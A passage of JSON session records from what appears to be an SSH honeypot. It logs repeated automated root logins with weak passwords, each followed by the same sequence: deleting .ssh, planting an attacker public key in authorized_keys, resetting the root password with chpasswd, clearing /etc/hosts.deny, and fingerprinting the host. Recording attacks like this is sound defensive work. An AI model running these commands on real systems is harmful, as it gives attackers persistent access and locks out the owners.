GNU/Linux"},{"seq":27,"at":"2026-08-27T10:57:39.358698+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:57:39.359551+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T10:57:39.621439+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:57:40.100662+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:57:40.363751+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:57:40.949407+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QWEqwe123456","method":"password","accepted":true,"tier":"other"}]} {"id":"a98b8c64-f7c7-437b-8233-3196f219467d","name":"sterling-lucid-jay","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":46284,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":755,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:53:52.986704+00:00","ended_at":"2026-08-27T10:53:53.797790+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T10:53:33.841406+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:53:34.594736+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:53:40.040742+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:53:40.041583+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:53:40.800933+00:00","kind":"input","latency_ms":null,"data":"echo \"root:DuMDWhTonDsN\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T10:53:41.560015+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T10:53:42.310382+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:53:42.311346+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:53:43.066055+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:53:43.653926+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:53:44.411329+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:53:44.918028+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:53:45.682878+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:53:45.685140+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T10:53:46.431865+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:53:46.433334+00:00","kind":"output","latency_ms":null,"data":" 10:53:46 up 7 days, 7:43, 0 user, load average: 0.12, 0.12, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:53:47.188657+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:53:47.189451+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:53:47.941075+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:53:47.942289+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:53:48.701497+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:53:48.702057+00:00","kind":"output","latency_ms":null,"data":"top - 10:53:48 up 7 days, 7:43, 0 user, load average: 0.12, 0.12, 0.08\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:53:49.457357+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:53:49.458105+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:53:50.213689+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:53:50.214336+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:53:50.967841+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:53:50.968410+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T10:53:51.722080+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:53:52.232422+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:53:52.987559+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:53:53.558510+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"IdcOffer.com","method":"password","accepted":true,"tier":"other"}]} {"id":"e7628936-8342-404b-a8f3-6d9306284970","name":"seaward-crystal-vulture","protocol":"ssh","channel_kind":"exec","src_ip":"103.213.238.91","src_port":37396,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":799,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:45:58.236494+00:00","ended_at":"2026-08-27T10:45:58.984026+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T10:45:37.239970+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:45:38.037841+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:45:44.546222+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:45:44.546894+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:45:45.346170+00:00","kind":"input","latency_ms":null,"data":"echo \"root:mAcfnwF0v2yw\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T10:45:46.143467+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T10:45:46.943672+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:45:46.944294+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:45:47.742558+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:45:48.279061+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:45:49.080617+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:45:49.643109+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:45:50.446895+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:45:50.449073+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T10:45:51.245742+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:45:51.246262+00:00","kind":"output","latency_ms":null,"data":" 10:45:51 up 7 days, 7:35, 0 user, load average: 0.26, 0.22, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:45:52.046990+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:45:52.047820+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:45:52.847182+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:45:52.847723+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:45:53.650996+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:45:53.651669+00:00","kind":"output","latency_ms":null,"data":"top - 10:45:53 up 7 days, 7:36, 0 user, load average: 0.26, 0.22, 0.25\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:45:54.455544+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:45:54.458414+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:45:55.253389+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:45:55.254047+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:45:56.060575+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:45:56.062470+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T10:45:56.858888+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:45:57.439005+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:45:58.237232+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:45:58.729500+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Lh123456","method":"password","accepted":true,"tier":"other"}]} {"id":"af896936-a490-4587-a7f3-ab81ff6b066d","name":"smooth-brazen-martin","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":48650,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:24:30.157713+00:00","ended_at":"2026-08-27T08:24:32.057443+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T08:24:09.948198+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:24:10.298047+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:24:15.441299+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:24:15.711022+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:24:16.060706+00:00","kind":"input","latency_ms":null,"data":"echo \"root:aDgT6CYNE7kO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T08:24:16.411191+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T08:24:16.759105+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:24:17.608721+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:24:17.957947+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:24:19.293371+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:24:19.645577+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:24:20.844935+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:24:21.171853+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:24:21.878716+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:24:22.203773+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:24:23.060241+00:00","kind":"output","latency_ms":null,"data":" 08:24:23 up 7 days, 5:14, 0 user, load average: 0.19, 0.22, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:24:23.385447+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:24:23.799033+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:24:24.123652+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:24:24.593181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:24:24.916782+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:24:25.206730+00:00","kind":"output","latency_ms":null,"data":"top - 08:24:25 up 7 days, 5:14, 0 user, load average: 0.19, 0.22, 0.21\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:24:25.557759+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:24:26.380005+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:24:26.730199+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:24:27.177262+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:24:27.528588+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:24:27.996064+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T08:24:28.346630+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:24:29.808439+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:24:30.158624+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:24:31.935633+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":")OKM9ijn","method":"password","accepted":true,"tier":"other"}]} {"id":"e709c5e7-de06-47f6-b4f4-902423420575","name":"dusky-ruddy-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":59532,"username":"root2","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":356,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:02:04.456470+00:00","ended_at":"2026-08-27T08:02:06.170696+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2305,"events":[{"seq":1,"at":"2026-08-27T08:01:45.384635+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:01:45.738127+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:01:50.134078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:01:50.666968+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:01:51.024716+00:00","kind":"input","latency_ms":null,"data":"echo \"root:IrEV5VQ9zhF6\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T08:01:51.377303+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T08:01:51.730916+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:01:51.987831+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:01:52.342820+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:01:53.724119+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:01:54.081590+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:01:55.472999+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:01:55.830217+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:01:56.181517+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:01:56.537090+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:01:57.302131+00:00","kind":"output","latency_ms":null,"data":" 08:01:57 up 7 days, 4:52, 0 user, load average: 0.04, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:01:57.658556+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:01:58.343890+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:01:58.699096+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:01:59.273634+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:01:59.630560+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:02:00.086094+00:00","kind":"output","latency_ms":null,"data":"top - 08:02:00 up 7 days, 4:52, 0 user, load average: 0.04, 0.04, 0.03\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:02:00.441219+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:02:00.820266+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:02:01.175853+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:02:01.620306+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:02:01.979291+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:02:02.329426+00:00","kind":"output","latency_ms":null,"data":"root2"},{"seq":29,"at":"2026-08-27T08:02:02.685135+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:02:04.104373+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:02:04.458450+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:02:06.061488+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root2","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"0786c559-9e56-498d-ae22-98af685d2aac","name":"brave-fabled-ptarmigan","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":39980,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:00:00.115200+00:00","ended_at":"2026-08-27T08:00:01.100021+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T07:59:40.650167+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:59:40.998326+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:59:45.063221+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:59:45.471750+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:59:45.819906+00:00","kind":"input","latency_ms":null,"data":"echo 